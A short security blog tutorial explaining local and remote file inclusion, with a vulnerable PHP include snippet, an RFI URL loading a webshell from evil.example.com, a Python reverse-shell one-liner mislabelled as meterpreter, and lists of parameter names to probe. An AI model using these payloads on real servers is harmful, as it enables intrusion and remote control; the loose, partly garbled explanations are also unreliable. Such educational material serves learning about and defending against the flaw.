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Thursday, 23 July 2020

Background Concept of File Inclusion
 
Background Concept of File Inclusion




A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application. An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement. Background Concept of File Inclusion



Basically in this the script run time website is Vulnerable means a website which is dynamic and can contain many pages of a website and a website that has a connection to the database.



Example :-


example.com/wp-admin
example.com/login.php
example.com/page/product.php
example.com/user/profile.php
example.com/index.php?referee=login.php
example.com/post/status?id=12672


Impact of File Inclusion


so lets talk about of impact of File inclusion :

Impact will be code execution on the server. basically what that mean code execution on the server.


● you can try to execute the meterpreter command there, the meterpreter shell command in a reverse connection there.  
● You can also execute code exection client side also
● You can use for DOS attack
● You can execute for information disclosure sensitive disclosure  is attacks lead an sensitive information like
● The system password, system configure details etc.


Types of File Inclusion

There are two types of file inclusion :-


1) Local File Inclusion ( LFI )
2) Remote File Inclusion ( RFI )




1) Local File Inclusion ( LFI )


Any parameter they will have some local file 

anyparameter=somelocalfile


Example :-



any.com/index.php?referer=login.php

( This paramter, referer parameter in including, some local file then there may local file inclusion. )



Example :


<?php
if (isset($_GET['language'])) {
    include($_GET['language'] . '.php');
}
?>

<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>




2) Remote File Inclusion ( RFI )

Any parameter if they will have something remote file inlcusion

anyparameter=remoteweb.com/file


Example :


anyparameter=remoteweb.com/file

any.com/?share=http://facebook.com/status?id=12672


Example :



example.com/vulnerable.php?language=http://evil.example.com/webshell.txt?


OR


( meterpreter command shell )


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

( meterpreter command shell )





Possible Paramter


Local File Inclusion :

[file, document, folder, root, path, pg, style, pdf, template, php_path, doc]



Remote File Inclusion :

[dest, redirect, uri, path, continue, url, window, to, out, view, dir, show, navigation, Open, url, file, val, validate, domain, callback, return, page, feed, host, port, next, data, reference, site, html]





Video Tutorial :- SooN..


Disclaimer


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- Hacking Truth by Kumar Atul Jaiswal



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My Self Kumar Atul Jaiswal Urf HackerboY and Kumar Atul Jaiswal is a name among millions who struggled failed and surged ahead in search of how to become a Hacker ( passionate about Hacking just like profession an entrepreneur ), just like any middle class guy, he too had a bunch of unclear dreams and a blurred version of his goals in life 😊.

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